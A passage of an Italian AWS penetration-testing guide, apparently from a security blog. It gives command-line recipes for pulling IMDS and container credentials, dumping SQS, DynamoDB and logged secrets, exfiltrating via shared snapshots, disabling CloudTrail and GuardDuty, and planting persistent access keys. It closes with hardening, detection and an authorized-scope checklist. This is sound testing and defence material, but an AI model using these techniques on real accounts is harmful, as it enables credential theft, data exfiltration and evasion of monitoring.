Endpoint SQS: https://sqs.us-east-1.amazonaws.com/ (JSON 1.0, X-Amz-Target: AmazonSQS.ReceiveMessage). Endpoint SNS: https://sns.us-east-1.amazonaws.com/ (query protocol, come STS/IAM/EC2).

bash
curl --aws-sigv4 "aws:amz:us-east-1:sqs" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "X-Amz-Target: AmazonSQS.ReceiveMessage" \
  -H "Content-Type: application/x-amz-json-1.0" \
  -d '{"QueueUrl":"QUEUE_URL","MaxNumberOfMessages":10}' \
  https://sqs.us-east-1.amazonaws.com/

aws sqs list-queues
aws sqs get-queue-attributes --queue-url QUEUE_URL --attribute-names All

# Peek at messages without deleting them from the queue — VisibilityTimeout
# determines how long they stay hidden from other consumers after this
aws sqs receive-message --queue-url QUEUE_URL --max-number-of-messages 10

aws sns list-topics
aws sns get-topic-attributes --topic-arn TOPIC_ARN

receive-message sposta temporaneamente il messaggio fuori dalla coda per gli altri consumer (per la durata di VisibilityTimeout): se il messaggio non viene esplicitamente eliminato (delete-message) o se scade il timeout, torna visibile — ma un consumo ripetuto o mal gestito può comunque interferire con l’elaborazione applicativa normale. Trattalo come un’azione con effetti collaterali, non come una lettura innocua.

DynamoDB: dati applicativi a riposo #

Spesso trascurato quanto SQS/SNS, ma è dove finiscono sessioni utente, token, dati PII e a volte configurazioni applicative intere — con permessi di lettura che sorprendentemente spesso sono più larghi di quelli su S3, perché “è solo un database interno”.

bash
aws dynamodb list-tables
aws dynamodb describe-table --table-name TABLE_NAME

# Full table dump — no filter, reads every item. On a large table this
# burns read capacity units and is slow; scope with --limit or a
# FilterExpression when you only need to confirm sensitive fields exist
aws dynamodb scan --table-name TABLE_NAME --limit 20

describe-table mostra anche se la tabella ha gli Streams attivi (StreamSpecification): se sì, e se hai dynamodb:GetRecords/GetShardIterator sul relativo stream ARN, puoi leggere il flusso di modifiche in tempo reale senza nemmeno fare scan — utile per intercettare dati scritti dopo che hai ottenuto accesso, senza dover ripetere scan periodici rumorosi.

Export silenzioso su S3: se la tabella ha il point-in-time recovery attivo, export-table-to-point-in-time scarica l’intera tabella in un bucket S3 senza eseguire un solo scan — niente consumo di read capacity, niente operazione sulla tabella viva, più discreto di un dump a colpi di scan:

bash
aws dynamodb export-table-to-point-in-time \
  --table-arn arn:aws:dynamodb:us-east-1:ACCOUNT_ID:table/TABLE_NAME \
  --s3-bucket YOUR_BUCKET --export-format DYNAMODB_JSON

Hardening: scan/export su tabelle sensibili vanno ristretti con condition IAM e monitorati — un export verso un bucket esterno all’account è un forte segnale di esfiltrazione.

CloudWatch Logs: cacciare segreti loggati per errore #

Una delle fonti di leak più comuni in pratica: un’applicazione che logga per debug l’intero oggetto richiesta/risposta, comprese variabili d’ambiente, header di autenticazione o payload con password in chiaro — e nessuno se ne accorge perché i log non vengono letti manualmente.

bash
aws logs describe-log-groups

# Search a specific log group for common secret patterns over the last 24h
aws logs filter-log-events \
  --log-group-name /aws/lambda/TARGET_FUNCTION \
  --start-time $(( $(date +%s) - 86400 ))000 \
  --filter-pattern "password"

# Repeat with other high-value patterns
aws logs filter-log-events --log-group-name /aws/lambda/TARGET_FUNCTION --filter-pattern "AKIA"
aws logs filter-log-events --log-group-name /aws/lambda/TARGET_FUNCTION --filter-pattern "?Authorization ?Bearer ?secret"

filter-pattern di CloudWatch Logs supporta una sintassi di match semplice (non regex vera) — per una ricerca più sofisticata su export di grandi dimensioni, esporta il log group su S3 (create-export-task) e passa i file a grep/strumenti dedicati in locale.

IMDS (metadata service) #

Se hai code execution su un’istanza EC2, il metadata service è spesso la via più rapida per credenziali IAM.

bash
# IMDSv1 — no token required
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# IMDSv2 — a token obtained via PUT is required
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

Altri path IMDS utili per la ricognizione post-exploitation:

bash
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data

IMDSv2 non è una protezione assoluta contro SSRF: richiede il metodo PUT per ottenere il token, il che mitiga le SSRF basate su semplice redirect/GET, ma non protegge se l’attaccante ha già code execution locale, se la SSRF permette di forgiare header/metodo arbitrari, o se HttpTokens è ancora optional.

CloudTrail #

Endpoint: https://cloudtrail.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: com.amazonaws.cloudtrail.v20131101.CloudTrail_20131101.DescribeTrails):

bash
curl --aws-sigv4 "aws:amz:us-east-1:cloudtrail" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "X-Amz-Target: com.amazonaws.cloudtrail.v20131101.CloudTrail_20131101.DescribeTrails" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{}' \
  https://cloudtrail.us-east-1.amazonaws.com/

aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name TRAIL_NAME
aws cloudtrail lookup-events --max-results 20

Lo scopo di controllare CloudTrail è capire cosa viene effettivamente registrato, non stimare quanto rumore ci si può permettere: anche senza un trail configurato, i management event restano visibili in Event History per 90 giorni. I data event (GetObject, invocazioni Lambda) non sono inclusi di default e vanno abilitati esplicitamente — verificalo con get-event-selectors.

Errore RequestExpired / clock skew #

Se un comando fallisce con:

text
An error occurred (RequestExpired) when calling the ListFunctions operation: Request has expired.

il problema quasi sempre non sono le credenziali, ma l’orologio di sistema: AWS rifiuta richieste il cui timestamp si discosta troppo (intorno ai 15 minuti) dall’ora dei suoi server.

bash
date -u
timedatectl
timedatectl timesync-status

Fix corretto: riattivare la sincronizzazione NTP del sistema, non modificare l’orario a mano come procedura standard.

bash
sudo timedatectl set-ntp true
timedatectl

Troubleshooting: errori comuni durante un AWS pentest #

ErroreCausa probabileComando diagnosticoSoluzione
AccessDeniedL’identità non ha il permesso IAM per quell’azione specifica, o un Deny esplicito/SCP la bloccaaws iam simulate-principal-policy --action-names AZIONE_FALLITAVerifica policy attached/inline, permissions boundary e SCP; non è sempre un dead-end, prova azioni alternative
ExpiredToken / TokenRefreshRequiredLe credenziali temporanee (STS, assume-role, IMDS) sono scaduteControlla il campo Expiration restituito al momento dell’emissione delle credenzialiRichiedi nuove credenziali (nuovo assume-role o nuova chiamata a IMDS/container credentials)
InvalidClientTokenIdAccess key ID inesistente, eliminata, o da un account/partition diverso da quello previstoaws sts get-caller-identity con le stesse credenziali per confermare se sono valideVerifica di aver copiato la chiave giusta; controlla di non mescolare credenziali tra profili diversi
SignatureDoesNotMatchSecret key sbagliata, oppure la richiesta è stata alterata dopo la firma (proxy, encoding)Rilancia il comando identico senza passare per proxy/wrapper che modificano la richiestaVerifica secret key; se usi curl --aws-sigv4, controlla che l’header Content-Type non cambi tra firma e invio
RequestExpired / firma “non ancora valida”Clock skew locale (vedi sezione dedicata sotto)date -u / timedatectlRisincronizza l’orologio via NTP
Risultati vuoti in una region specificaLe risorse esistono in una region diversa da quella attiva, o la region non è abilitata per l’accountaws ec2 describe-regions --all-regions, ripeti il comando con --region REGION esplicitoItera su tutte le region abilitate, non fermarti alla region di default del profilo
NoCredentialsError / “Unable to locate credentials”Nessun profilo attivo, variabili d’ambiente non esportate, o file ~/.aws/credentials assenteaws configure listEsporta le variabili AWS_* o verifica --profile

Tabella rapida dei comandi #

ServizioComandoCosa restituisce
STSaws sts get-caller-identityIdentità corrente
IAMaws iam get-role --role-name XTrust policy del ruolo
IAMaws iam simulate-principal-policyPermessi effettivi (screening)
S3aws s3api get-bucket-policy-statusSe il bucket è pubblico
EC2aws ec2-instance-connect send-ssh-public-keyAccesso SSH temporaneo
SSMaws ssm send-commandEsecuzione comandi su EC2 (root/SYSTEM)
Lambdaaws lambda update-function-codeDirotta codice di una funzione esistente
Secrets Manageraws secretsmanager get-secret-valueValore del segreto
Cognitocognito-identity get-credentials-for-identityCredenziali IAM senza auth
ECSaws ecs execute-commandShell interattiva nel container
CloudTrailaws cloudtrail get-trail-statusCopertura reale del logging
KMSaws kms put-key-policyPrivesc: concediti decrypt diretto su una chiave
EBS/RDSmodify-snapshot-attribute / modify-db-snapshot-attributeExfiltration via snapshot sharing, senza toccare la risorsa viva
S3aws s3 presignURL temporaneo per download senza esporre le credenziali
SQSaws sqs receive-messageLettura messaggi in coda (dati applicativi in transito)
DynamoDBaws dynamodb scanDump dati applicativi a riposo
CloudWatch Logsaws logs filter-log-events --filter-pattern XSegreti loggati per errore dalle app
CloudTrailaws cloudtrail stop-loggingDefense evasion: spegni la visibilità prima di muoverti
GuardDutyaws guardduty update-detector --no-enableDefense evasion: disattiva il detector
IAMaws iam create-access-key su utente legittimoPersistence: backdoor silenziosa
EC2aws ec2 modify-instance-attribute --user-dataCode execution come root al prossimo boot
EC2aws ec2-instance-connect send-serial-console-ssh-public-keyConsole seriale, bypass SSH/SSM
SSMaws ssm start-session ... AWS-StartPortForwardingSessionToRemoteHostTunnel verso servizi interni, bypass security group
EKSaws eks update-kubeconfig + kubectlAccesso al control plane Kubernetes via IAM
API Gatewayaws apigateway get-stagesTrova endpoint con authorizationType: NONE
Organizationsaws organizations list-accountsMappa l’intera org; pivot via OrganizationAccountAccessRole
OpenSearchaws opensearch describe-domainDomain con access policy aperta, query senza auth
Step Functionsaws stepfunctions get-execution-historyInput/output in chiaro tra gli step
CloudFormationaws cloudformation get-templateSecret hardcoded in template e output
Glueaws glue get-connectionsUsername/password DB in chiaro
CodeBuildaws codebuild batch-get-projectsEnv vars di build con credenziali in chiaro
KMSaws kms decryptDecifra dati direttamente con kms:Decrypt
S3aws s3api list-object-versionsRecupera oggetti “eliminati” (versioning)
Route53aws route53 list-resource-record-setsTopologia interna, subdomain takeover
IAMaws accessanalyzer list-findings-v2Risorse esposte cross-account/pubblicamente

FAQ #

Come verifico la mia identità AWS attuale? aws sts get-caller-identity — restituisce account, ARN e tipo di principal. Primo comando da lanciare con qualsiasi credenziale nuova.

Come faccio una chiamata AWS con curl invece della CLI? Usa curl --aws-sigv4 "aws:amz:REGION:SERVICE" --user "ACCESS_KEY:SECRET_KEY", aggiungendo x-amz-security-token se le credenziali sono temporanee. Il formato del body/URL dipende dal protocollo del servizio: form-urlencoded per query API (STS, IAM), JSON con header X-Amz-Target per i servizi JSON 1.1 (Secrets Manager, SSM, Cognito), path REST diretto per Lambda/S3/EKS.

Come individuo un possibile percorso di privilege escalation? Enumera le azioni IAM disponibili, poi confrontale con i pattern noti: iam:PassRole verso servizi che eseguono codice, modifica di policy/trust policy su se stessi, creazione di access key per altri utenti. Verifica sempre prima di eseguire l’azione.

Che differenza c’è tra IMDSv1 e IMDSv2? IMDSv1 risponde a GET senza autenticazione. IMDSv2 richiede prima una PUT per un token con TTL limitato — mitiga le SSRF semplici ma non protegge da SSRF che forgiano richieste PUT con header custom, né da code execution diretto.

Quali limiti ha CloudTrail come fonte di audit? I management event restano in Event History 90 giorni anche senza trail dedicato, ma i data event non sono inclusi di default e vanno abilitati esplicitamente — molte organizzazioni non lo fanno.

Che differenza c’è tra credenziali IAM permanenti e credenziali STS temporanee? Una access key IAM permanente (AKIA...) resta valida finché non viene eliminata manualmente — se la trovi in un repo o in un file di config, funziona finché qualcuno non se ne accorge. Le credenziali STS (da assume-role, get-session-token, IMDS, container credentials) hanno sempre una Expiration e un AWS_SESSION_TOKEN associato: scadono da sole, in genere entro poche ore. Verifica sempre quale tipo hai in mano prima di pianificare i tempi di un test.

Come diagnostico un errore AccessDenied durante un pentest AWS? Non significa automaticamente “vicolo cieco”. Rilancia l’azione fallita dentro simulate-principal-policy per capire se è un deny esplicito, una condition non soddisfatta, un permissions boundary o una SCP — ognuno di questi suggerisce un percorso diverso da provare (vedi la tabella troubleshooting sopra per gli altri errori comuni).

Come trovo bucket S3 pubblici senza avere credenziali AWS? Con aws s3 ls s3://NOME-BUCKET --no-sign-request: i bucket pubblici rispondono anche senza firma. Per cercarli a partire dal nome dell’azienda, permuta il nome in varianti (-backup, -logs, -dev, -prod) e testa ciascuna — NoSuchBucket significa che il nome è libero, AccessDenied che esiste ma è privato.

Come eseguo comandi su un’istanza EC2 senza avere la chiave SSH? Tre vie principali: SSM Run Command (aws ssm send-command, gira come root/SYSTEM se l’agente SSM è attivo), EC2 Instance Connect (send-ssh-public-key, push temporaneo di una tua chiave), e la modifica dello user-data (modify-instance-attribute + stop/start, esegue uno script al boot). La scelta dipende da quali permessi IAM hai e da cosa è installato sull’istanza.

Come recupero credenziali IAM da una funzione Lambda o da un container ECS? Non via IMDS (Lambda non lo espone): si usa l’endpoint container credentials locale, curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_FULL_URI con l’header Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN (su ECS la variabile è AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). Restituisce le credenziali temporanee del ruolo di esecuzione.

Come esfiltro i dati di un database RDS senza connettermi al DB? Condividendone uno snapshot con un account che controlli (rds:ModifyDBSnapshotAttribute), poi ricostruendo un’istanza nuova da quello snapshot nel tuo account (restore-db-instance-from-db-snapshot). Nessuna query sul DB vivo, nessuna connessione di rete verso il target — solo una copia completa fuori dal suo perimetro di monitoraggio. Lo stesso pattern vale per EBS con gli snapshot dei volumi.

Quali strumenti affiancare ad AWS CLI per una valutazione più completa? AWS CLI e curl coprono l’enumerazione manuale e la verifica puntuale di un percorso. Per uno scan sistematico delle policy IAM o l’identificazione automatica di catene di privilege escalation, strumenti dedicati automatizzano decine di chiamate: Pacu (framework di exploitation AWS), ScoutSuite e Prowler (audit di configurazione multi-servizio), CloudSplaining (analisi di over-permissioning IAM) e Cartography (mappatura a grafo delle relazioni tra risorse). Utili in triage iniziale, non in sostituzione della verifica manuale dei percorsi più promettenti.

Hardening e detection: la prospettiva difensiva #

Ogni tecnica offensiva di questa guida ha un contro-controllo. Un report di pentest che si ferma all’elenco delle vulnerabilità vale metà: il cliente vuole sapere cosa cambiare. Questa è la sintesi difensiva, organizzata per classe di attacco.

Identità e privilege escalation #

  • Least privilege reale: nessuna policy con Action: "*" o iam:*/sts:AssumeRole su Resource: "*". Le azioni abilitanti (iam:CreatePolicyVersion, iam:PassRole, iam:CreateAccessKey, iam:UpdateAssumeRolePolicy) vanno concesse solo dove strettamente necessario e con Resource ristretto.
  • Permissions boundary su ogni ruolo creabile da utenti non-admin: limita il tetto massimo di privilegio anche se la policy allegata è troppo larga.
  • SCP a livello Organization: deny esplicito su iam:CreateUser/CreateAccessKey fuori dai processi previsti, e sulla disattivazione dei servizi di logging.
  • ExternalId obbligatorio su ogni trust policy cross-account verso terze parti; mai fidare di un intero account (:root) senza condition.
  • MFA obbligatoria per le azioni sensibili, imposta via condition aws:MultiFactorAuthPresent.

Dati e storage #

  • S3 Block Public Access a livello di account, non solo per bucket; versioning con MFA Delete sui bucket sensibili; cifratura SSE-KMS con key policy restrittiva.
  • EBS snapshot Block Public Access a livello account; audit periodico di createVolumePermission/launchPermission su snapshot e AMI.
  • RDS/EBS: nessuno snapshot condiviso pubblicamente; cifratura con CMK il cui accesso è separato da chi gestisce gli snapshot.
  • Secrets Manager/SSM/Glue: nessun segreto in chiaro in env var di Lambda/ECS/CodeBuild, in user-data o in output CloudFormation; rotazione attiva.

Compute e lateral movement #

  • IMDSv2 obbligatorio (HttpTokens: required) su tutte le istanze, con HttpPutResponseHopLimit: 1 per bloccare l’uso da container.
  • SSM: logging delle sessioni su S3/CloudWatch, e restrizione di ssm:SendCommand/StartSession ai soli operatori autorizzati.
  • ECR: tag immutability + scan on-push.
  • EKS: endpoint API privato quando possibile, aws-auth con mapping minimale, RBAC least privilege.

Detection: eventi CloudTrail da allertare sempre #

Un SOC AWS dovrebbe avere alert ad alta priorità su: StopLogging, DeleteTrail, UpdateDetector (Enable=false), CreateFilter (Action=ARCHIVE), DeleteFlowLogs, StopConfigurationRecorder — tutti segnali di defense evasion. E poi: CreateAccessKey/CreateLoginProfile fuori onboarding, CreatePolicyVersion/AttachUserPolicy verso policy privilegiate, UpdateAssumeRolePolicy, AddPermission/CreateGrant/PutResourcePolicy con principal esterni, ModifySnapshotAttribute/ModifyDBSnapshotAttribute con account esterni, GetFederationToken con policy larghe.

GuardDuty, Security Hub e un Access Analyzer attivo su ogni account coprono gran parte di questo in automatico — a patto che nessuno possa disattivarli senza generare un alert a sua volta.

Checklist operativa da engagement #

  • Identità corrente confermata (get-caller-identity) e account coerente con lo scope
  • Region coperte elencate esplicitamente (non solo quella di default del profilo)
  • Tipo di credenziali noto (permanenti o temporanee) e relativa scadenza annotata
  • Permessi effettivi mappati per l’identità corrente (policy attached/inline, boundary, SCP se visibili)
  • Servizi e risorse accessibili enumerati (IAM, S3, EC2, Lambda, container, secret store)
  • Percorsi di privilege escalation individuati, con prerequisito e impatto documentati per ciascuno
  • Ogni azione di tipo W eseguita solo dopo conferma che è nello scope autorizzato
  • Evidenze raccolte (output dei comandi, non screenshot di dati sensibili non necessari)
  • Copertura CloudTrail verificata, per sapere cosa risulterà visibile al cliente nei suoi log
  • Remediation proposta per ogni finding, non solo l’elenco delle vulnerabilità

Modello sintetico di finding #

text
Title: [Servizio] — [Azione IAM] permette [impatto] senza [condizione mancante]

Severity: Critical / High / Medium / Low

Prerequisite: identità X ha il permesso Y su risorsa Z (nessuna MFA/condition richiesta)

Impact: l'azione Y consente [privilege escalation / data exposure / code execution],
dimostrato con [comando usato in verifica controllata]

Evidence: output del comando (redatto per rimuovere eventuali secret reali)

Remediation: applicare least privilege su Y, aggiungere condition [IP/MFA/tag],
oppure rimuovere il permesso se non necessario al workflow legittimo

Per il quadro completo sulla sicurezza della piattaforma, vedi AWS Security su Hackita.it. Per approfondire la SSRF come vettore d’accesso a IMDS — spesso il primo anello di una catena che arriva fin qui — vedi l’articolo dedicato su SSRF .

#aws-pentest #iam-privilege-escalation #cloud-security #red-team-aws #aws-cli

lascia un messaggio

Non sono un robot